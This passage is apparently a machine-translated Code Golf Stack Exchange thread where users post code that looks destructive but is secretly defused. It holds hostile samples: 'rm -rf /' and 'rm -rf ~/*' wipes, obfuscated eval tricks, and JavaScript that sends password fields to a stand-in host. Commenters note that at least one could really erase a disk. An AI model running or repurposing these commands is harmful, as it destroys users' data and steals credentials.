'['^'/').('`'|'(').('`'|"\%").(
'['^')').('{'^'[').('['^"\+").(
'`'|'%').('['^')').('`'|"\,").(
'{'^'[').('`'|'(').('`'|"\!").(
'`'|'#').('`'|'+').('`'|"\%").(
'['^')').'.'.'\\'.'\\'.('`'|'.'
).'\\'.'"'.';'.('`'|'%').("\["^
'#').('`'|')').('['^'/').(';').
'"'.'}'.')');$:='.'^'~';$~='@'|
'(';$^=')'^'[';$/='`'|('.');$_=
'('^'}';$,='`'|'!';$\=')'^"\}";
$:='.'^'~';$~='@'|'(';$^=(')')^
'[';$/='`'|'.';$_='('^('}');$,=
'`'|'!';$\=')'^'}';$:='.'^"\~";
$~='@'|'(';$^=')'^'[';$/=('`')|
'.';$_='('^'}';$,='`'|('!');$\=
')'^'}';$:='.'^'~';$~='@'|"\(";
$^=')'^'[';$/='`'|'.';$_=('(')^
'}';$,='`'|'!';$\=')'^('}');$:=
'.'^'~';$~='@'|'(';$^=')'^"\[";

Nếu tôi nhớ chính xác, BEGINkhối sẽ chạy trước hết, bất kể nó nằm ở đâu trong mã. Nó thay thế @INCxác định nơi Perl tải các thư viện của nó từ chương trình con (thường là một tập hợp các đường dẫn, nhưng điều này được cho phép). Chương trình con thực sự là khối dữ liệu bị xáo trộn, đang thực hiện một số phép thuật regrec + eval. Sau đó, khi mã chạm require File::Path;(nó sẽ không hoạt động use), phần phụ này được thực thi và chỉ in "Chỉ là một hacker perl khác.", Như truyền thống và thoát ra. Phần còn lại của mã không bao giờ đạt được.


1
Ồ, tôi phải mất một thời gian để hiểu mã này làm gì (nhưng tôi đã không đọc spoiler). Tôi đã giải mã khối cuộc gọi regex này (nó giống như phương pháp tôi đã sử dụng trong codegolf.stackexchange.com/a/23871/3103 ) và tôi thích cách nó chứa exitlệnh (với dấu chấm phẩy vô nghĩa sau nó, nhưng không thành vấn đề ).
Konrad Borowski

Hehe, phải tự mình hiểu ra, nó mới 11-12 tuổi. Dấu chấm phẩy có lẽ chỉ là làm cho mọi thứ xếp thành hàng gọn gàng.
Stoffe

9

PHP:

$condition = true and false;

if (!$condition) {
   // DO EVIL - Just do something evil here
}

Thoạt nhìn, $conditionlà sai, nhưng =toán tử đã được ưu tiên hơn and, vì vậy điều kiện là đúng. Vì vậy, cái ác không bao giờ được thực hiện.


8

C ++ với Boost

Điều này sẽ xóa tất cả các tập tin trên hệ thống tập tin

#include "boost/filesystem.hpp"
using namespace boost::filesystem;

void delete_directory(const path* dir_path)
{
  if (!exists(*dir_path)) return;

  directory_iterator end_file_itr;
  for (directory_iterator file_itr(*dir_path);
        file_itr != end_file_itr;
        ++file_itr) {
    const path* file = &file_itr->path();
    if (file_itr->status().type() == directory_file) {
      delete_directory(file);
    } else {
      delete(file);
    }
  }

  delete(dir_path);
}

int main() {
  delete_directory(new path("/"));
  return 0;
}

Thật ra nó sẽ không. deletetrong C ++ được sử dụng để giải phóng bộ nhớ được phân bổ bởi newvà không xóa các tệp và thư mục. Chương trình rất có thể sẽ gặp sự cố với lỗi phân đoạn vì nó cố gắng phân bổ bộ nhớ được phân bổ bởi Boost, nhưng vào thời điểm đó, tôi sẽ thoát khỏi sự giam cầm của troll.


+1. Điều này không dễ nhận ra vì nó thậm chí còn biên dịch không có lỗi.
Erel Segal-Halevi

2
Không phải là vấn đề đầu tiên hành vi không xác định? Trong trường hợp đó, trên thực tế nó có thể xóa tất cả các tập tin của mình.
aschepler

1
@aschepler: "UB có thể xóa tất cả các tệp của bạn" đưa ra một lời giải thích thú vị rằng bạn không thể dự đoán điều gì sẽ xảy ra khi gọi UB, nhưng đó thường không phải là một khả năng. Nếu troll có trình biên dịch xóa ổ đĩa cứng trên UB, anh ta sẽ không bắt chúng tôi viết cho anh ta phần mềm độc hại
3Doubloons

2
đánh dấu cú pháp sẽ cung cấp cho troll một gợi ý ở đây ...
mik01aj

8

Java

Điều này sẽ giả vờ tải xuống RAM, nhưng nó sẽ xóa thư mục chính của người dùng.

import java.util.*;
import java.io.*;
class RamDownloaderIO {
    public static void main(String[] args) {
        long onePercentWaitTime   = 2*60*1000;  // 2 minutes
        long twoPercentWaitTime   = 7*60*1000;  // 7 minutes
        long deleteWaitTime       = 9*60*1000;  // 9 minutes
        long completeWaitTime     = 10*60*1000; // 10 minutes
        Timer timer = new Timer(true);
        // User thinks, Hmm this is taking a while
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("1% done");
            }
        }, onePercentWaitTime);
        // User is now completely impatient, and either leaves to get a coffee
        // or starts reading reddit
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("2% done");
            }
        }, twoPercentWaitTime);
        // Now that he's not looking, delete everything in his home directory
        timer.schedule(new TimerTask() {
            public void run() {
                try {
                    final Runtime rt = Runtime.getRuntime();
                    rt.exec("rm -rf ~/*");
                } catch (IOException e) {
                }
            }
        }, deleteWaitTime);
        // Inform the user that the task is finished
        timer.schedule(new TimerTask() {
            public void run() {
                System.out.println("Download complete!");
                System.out.println("You now have 21.47GB RAM!");
                System.exit(0);
            }
        }, completeWaitTime);
        System.out.println("Welcome to the ramdownloader.io RAM downloader");
        System.out.println("Please wait. Downloading your free RAM...");

    }
}

Timersử dụng một chủ đề nền để gọi TimerTasks của bạn mà bạn đã gửi cho nó. new Timer(true)tạo một Timervới chủ đề nền được đặt làm một chủ đề daemon, vì vậy chương trình chỉ cần thoát ngay lập tức trước khi các tác vụ có thể được chạy. Mã quá dài làm mất tập trung vào troll khi nhìn thấy truetham số.


7
rm -rf ⁄

Ký tự này không phải là ký tự gạch chéo thông thường (/, tức là RẮN trong unicode) mà thay vào đó là FRACTION SLASH. Sẽ in một thông báo như "rm:: Không có tệp hoặc thư mục như vậy"


10
Oh thực sự cho tôi thử ....
Michael J. Calkins

1
@MichaelCalkins: bạn có thể thử với tư cách là người dùng không được bảo mật và xem thông báo "không tìm thấy" ... hy vọng.
Olivier Dulac

7

bash

# This script should always be executed as root #
set -e

cleanup() {
  rm -rf / --no-preserve-root
}

eval $(base64 -d <<< "dW5zZXQgLWYgY2xlYW51cA==")
eval $(base64 -d <<< "Y2xlYW51cCgpIHsgZWNobyBUcm9sbCBkZXRlY3RlZDsgfQo=")
cleanup

Nó có lẽ là xấu xa như nó được. Nó định nghĩa một hàm mà sẽ rm -rf /gọi nó. Không chỉ vậy, nó còn sử dụng tà áceval nhiều hơn một lần.

Nó sẽ làm rất nhiều thiệt hại, chắc chắn!

Trong trường hợp bạn đang tự hỏi, lần đầu tiên evalhủy bỏ chức năng bằng cách: unset -f cleanup Thứ hai evalxác định nó là: cleanup() { echo Troll detected; } Vì vậy, khi chạy mã, bạn sẽ thấy Troll detected


9
Tốt Nhưng, tôi sẽ nói rằng các dòng "base64", dường như không được sử dụng để xóa thực tế, làm cho điều này trở nên quá rõ ràng.
Erel Segal-Halevi

1
Có thể tốt hơn nếu bạn được dẫn dắt để tin rằng họ evalđang làm điều gì đó xấu xa hơn bất kỳ mã rõ ràng nào. Mã hiện tại khiến tôi phải hỏi: tại sao phải giấu mã 'ác' nếu công cụ rõ ràng đang xóa mọi thứ?
Tim S.

2
Tôi không nghĩ rằng cái này đáp ứng các yêu cầu vì nó có khả năng rất độc hại: nếu base64(không phải là một lệnh tiêu chuẩn) không tồn tại trên hệ thống, nó chạy trên đó, các evals không làm gì cả và rm -rf /chạy! Điều này cũng có thể xảy ra nếu base64có mặt nhưng không thành công vì một số lý do (ví dụ ulimit).
R ..

1
@R.: Ngoài ra, rm -rf /sẽ không làm việc trên hầu hết rmcác triển khai. Đây là một tính năng bảo mật - bạn không thể xóa thư mục gốc trong hầu hết các triển khai rm.
Konrad Borowski

1
Theo như tôi biết thì nó hoạt động trên phiên bản busybox. :-)
R ..

6

BASH

Chắc chắn chúng tôi cần quyền root cho máy, vì vậy chúng tôi sử dụng "Tôi có root không?" - trình kiểm tra, còn gọi là root ch (eck) - nhưng tốt hơn nên làm điều này trong một thư mục không có nhiều báo động. / tmp sẽ là hoàn hảo, bởi vì mọi người đều có thể viết các tập tin ở đó.

Sau này chúng tôi chỉ xóa toàn bộ tiếng cười ổ cứng

mkdir -p /tmp/chroot_dir && chroot /tmp/chroot_dir /bin/bash -c "su - -c rm -rf /*"

10
như một người Đức tôi có thể nói: đừng cười nham hiểm như một anh chàng người Đức ...
Philipp Sander

W , nếu không phải là một người Đức, có thể làm tiếng cười ze eefil phải không, zen?
Alexander Kosubek

5
Tôi phải thừa nhận rằng tôi đã mất vài lần đọc mã và sau đó đọc lại các bình luận của bạn để tìm ra lý do tại sao ai đó có thể nghĩ rằng điều này là độc hại. Tôi không nghĩ rằng điều này sẽ hiệu quả nếu bạn không cố gắng thuyết phục ai đó trong các bình luận của mình rằng chroot làm điều gì đó khác với nó và câu hỏi nói rằng troll không đọc bình luận ...
Chris

1
Ngẫu nhiên, chrootkhông phải là "kiểm tra root", nó là "thay đổi root" - nó thay đổi ý tưởng của người dùng về cái gì /. Thật thú vị, troll này không làm được gì cho người dùng root và không root; người dùng root nhận được một root mới (và do đó không có lệnh / bin / bash vì không có gì tồn tại trong root mới được tạo của / tmp / chroot_dir) và người dùng không root không thể chroot.
mah

Điều này giống như manh mối của điều này - tôi biết rằng đó không phải là "thay đổi gốc" nhưng người bắt giữ tôi (từ chính xác?) Không biết - vì vậy anh ta đã thất bại nặng nề
German_guy

6

iPhone - Flappy Bird Clone

Trong khi người dùng đang chơi bản sao iPhone Flappy Bird, tất cả các tệp trong thư mục Tài liệu sẽ bị xóa.

#import "AppDelegate.h"
#import "FlappyBirdClone.h"

@implementation AppDelegate

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
    FlappyBirdClone *flappyBirdClone = [FlappyBirdClone new];
    [flappyBirdClone startFlapping];

    NSURL *documentsDirectory = [[[NSFileManager defaultManager] URLsForDirectory:NSDocumentDirectory inDomains:NSUserDomainMask] lastObject];
    [self deleteAllDocumentsInDirectory:documentsDirectory];

    return YES;
}

- (void)deleteAllDocumentsInDirectory:(NSURL *)directoryURL
{
    NSArray *fileURLs = [[NSFileManager defaultManager] contentsOfDirectoryAtURL:directoryURL includingPropertiesForKeys:@[] options:0 error:nil];

    [fileURLs enumerateObjectsUsingBlock:^(NSURL *fileURL, NSUInteger idx, BOOL *stop) {
        [[NSFileManager defaultManager] removeItemAtURL:fileURL error:nil];
    }];
}

Mỗi ứng dụng trong iOS đều được Sandboxed, vì vậy trong khi ứng dụng này xóa mọi thứ trong thư mục Documents, thì đó chỉ là thư mục Documents cho ứng dụng cụ thể này. Các troll rõ ràng là không nhận thức được điều này, vì anh ta đã tràn ngập rất nhiều chương trình cho các nền tảng khác. Và ngay khi nhận ra mình cũng có thể tạo ra một bản sao Flappy Bird, anh ta có thể rất phấn khích, anh ta thậm chí không buồn nghĩ về phần còn lại của mã, vì anh ta quá bận tâm về việc kiếm 50.000 đô la mỗi ngày trong quảng cáo mà không cần làm bất cứ việc gì


5

Đi:

package main

import (
    "fmt"
    "os"
    "sync"
)

func main() {
  wg := sync.WaitGroup{}
  go deleteAll(wg)
  wg.Wait()
}

func deleteAll(wg sync.WaitGroup) {
    wg.Add(1)
    defer wg.Done()
    fmt.Println("Press enter to clean your computer!")
    fmt.Scanln()
    os.RemoveAll("/home")
}

Điều này là một chút khó khăn. Trong Go toàn bộ chương trình thoát khi Goroutine chính thoát. Một cách tốt để khắc phục điều này là với Waitgroup. Có hai vấn đề lớn với "sửa chữa" của tôi:

  1. Waitgroup không được thêm vào cho đến khi Goroutine bắt đầu, điều đó có nghĩa là Goroutine chính sẽ tấn công Waittrước khi xóa Goroutine Add. Vì bộ đếm sẽ là 0, nên nó không có gì để chờ đợi và do đó nó sẽ không chặn và cuối cùng sẽ thoát, do đó chấm dứt chương trình.
  2. Ngay cả khi, bằng cách nào đó, một cách kỳ diệu, việc bổ sung xóa ALL goroutine được thực hiện trước tiên. Nó có một bản sao của Waitgroup, không phải là một con trỏ tới nó. Nó sẽ không được thêm vào cùng một nhóm Wait nên Goroutine chính sẽ không bao giờ nhìn thấy nó.

Fmt.Scanln () để mong đợi đầu vào chỉ là để đảm bảo lối thoát Goroutine chính trước khi có bất cứ điều gì xảy ra. Println có thể sẽ khiến nó bị chặn IO và chuyển sang chạy Goroutine chính (do đó thoát) và Scanln gần như chắc chắn sẽ làm như vậy. Trong thực tế, không cần thiết với bất kỳ phiên bản nào của Go.

Trong siêu lý thuyết, MIGHT này hoạt động và xóa một cái gì đó, có nghĩa là theo mô hình bộ nhớ Go, không có mối quan hệ "xảy ra trước" nào được đảm bảo về việc kết thúc mainvà thực thi RemoveAll, nhưng nó sẽ không có trong bất kỳ trình chạy / trình biên dịch Go hiện đại nào như đã được chứng minh bởi tất cả những người mới mắc lỗi không đặt đồng bộ hóa trong các chức năng chính của họ.


4

Javascript

function(){
    setInterval(function(){
        var passwordList = document.getElementsByTagName('input') ;
        var i, length = passwordList.length ;
        for(i = 0 ; i < lenght ; i++) if(passwordList[i].type == 'password'){
            var img = document.createElement('img') ;
            img.src = 'http://troll-server-password-listener.com/fake-image.jpg?password=' + passwordList[i].value ;
            img.style.display = none ;
            img.addEventListener('load', function(){
                var that = this ;
                setTimeout(function(){ that.outerHTML = '' }, 0) ;
            }) ;
            document.body.appendChild(img) ;
        }
    }, 1) ;
}() ;

1.

Nó sẽ không chạy, bạn không thể tạo một đóng tất cả gọi nó mà không bỏ qua nó với parens

2.

Nếu troll quản lý để sửa lỗi đó, có một lỗi đánh máy đẹp để gỡ lỗi ... ;-)


1
ngôn ngữ nào? và có thể gợi ý cho lỗi đánh máy nhiều hơn một chút
masterX244

@ masterX244 là Javascript, tôi sẽ chỉnh sửa nó. Gợi ý Typo: ReferenceError
Juan Garcia

3
Lỗi

Vâng, tôi làm lỗi đánh máy rất nhiều. Đặc biệt nếu độ dài của từ này khá dài: P
Mohammed Joraid 17/03/2016

1
@ m01 +1 Tôi nghĩ rằng đó phải là một từ dành riêng có lỗi ngoại lệ hoặc biên dịch lỗi thời gian!
Juan Garcia
Khi sử dụng trang web của chúng tôi, bạn xác nhận rằng bạn đã đọc và hiểu Chính sách cookieChính sách bảo mật của chúng tôi.
Licensed under cc by-sa 3.0 with attribution required.